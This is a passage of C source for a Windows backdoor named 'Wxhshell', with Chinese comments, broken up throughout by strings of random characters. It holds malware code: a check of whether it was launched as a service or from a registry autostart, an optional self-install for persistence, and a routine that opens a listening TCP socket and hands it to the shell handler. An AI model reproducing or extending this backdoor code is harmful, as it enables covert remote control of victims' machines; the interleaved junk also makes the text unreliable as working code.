R!,5HQF; T1%_sq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "yJFb=Xdq g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L1ro\ H NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \f\CK@ o-a\T if (!NtQueryInformationProcess) return 0; d0``: a> qB
k}) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [U'I3x, if(!hProcess) return 0; c|m*<
i NXo$rf: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4zKmoYt K~Nx;{{d CloseHandle(hProcess); 6l]jmj)/ + -~8t^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1[p6v4qO{ if(hProcess==NULL) return 0; Nk?eVJ) (SGX|,5X7 HMODULE hMod; 7IkNS char procName[255]; !xcLJ5^W unsigned long cbNeeded; "`g5iUHqUl ^% ZbjJ7|j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .3>`y L ZDny=&># CloseHandle(hProcess); RwKnNIp O{^8dwg if(strstr(procName,"services")) return 1; // 以服务启动 OD[q
u 9U&~H*Hf return 0; // 注册表启动 ,/2&HZd } 4N6JKS gZq_BY_U // 主模块 9Xl[AVs:M
int StartWxhshell(LPSTR lpCmdLine) .w,$ TezGP { @*e5(@R SOCKET wsl; %9v l BOOL val=TRUE;
$Mg[e*ct int port=0; QNbV=*F? struct sockaddr_in door; ;n,xu0/ H46N!{<;@ if(wscfg.ws_autoins) Install(); #ZkT![` !,lk>j.V port=atoi(lpCmdLine); 9]C%2!Ur, B/O0 ~y!n if(port<=0) port=wscfg.ws_port; L:j3 `6y=ky., WSADATA data; MB7`'W if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x" lcE@( qP{Fwn if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7+9o<j@@o setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HK
NT. a door.sin_family = AF_INET; gFpub_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); "?%2`*\ door.sin_port = htons(port); TB}6iIe &&% oazR= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @U+#@6 closesocket(wsl); 5o6X.sC8e return 1; mqtX7rej } ]f{3_M[ HmiG%1+{A if(listen(wsl,2) == INVALID_SOCKET) { %@9c'6 closesocket(wsl); Upa F>,kM return 1; 71n3d~!O> } kx?f, ^- Wxhshell(wsl); 12VIP-ABK WSACleanup(); r=-b@U.fk> Ptm=c6H(' return 0; iD*21c< |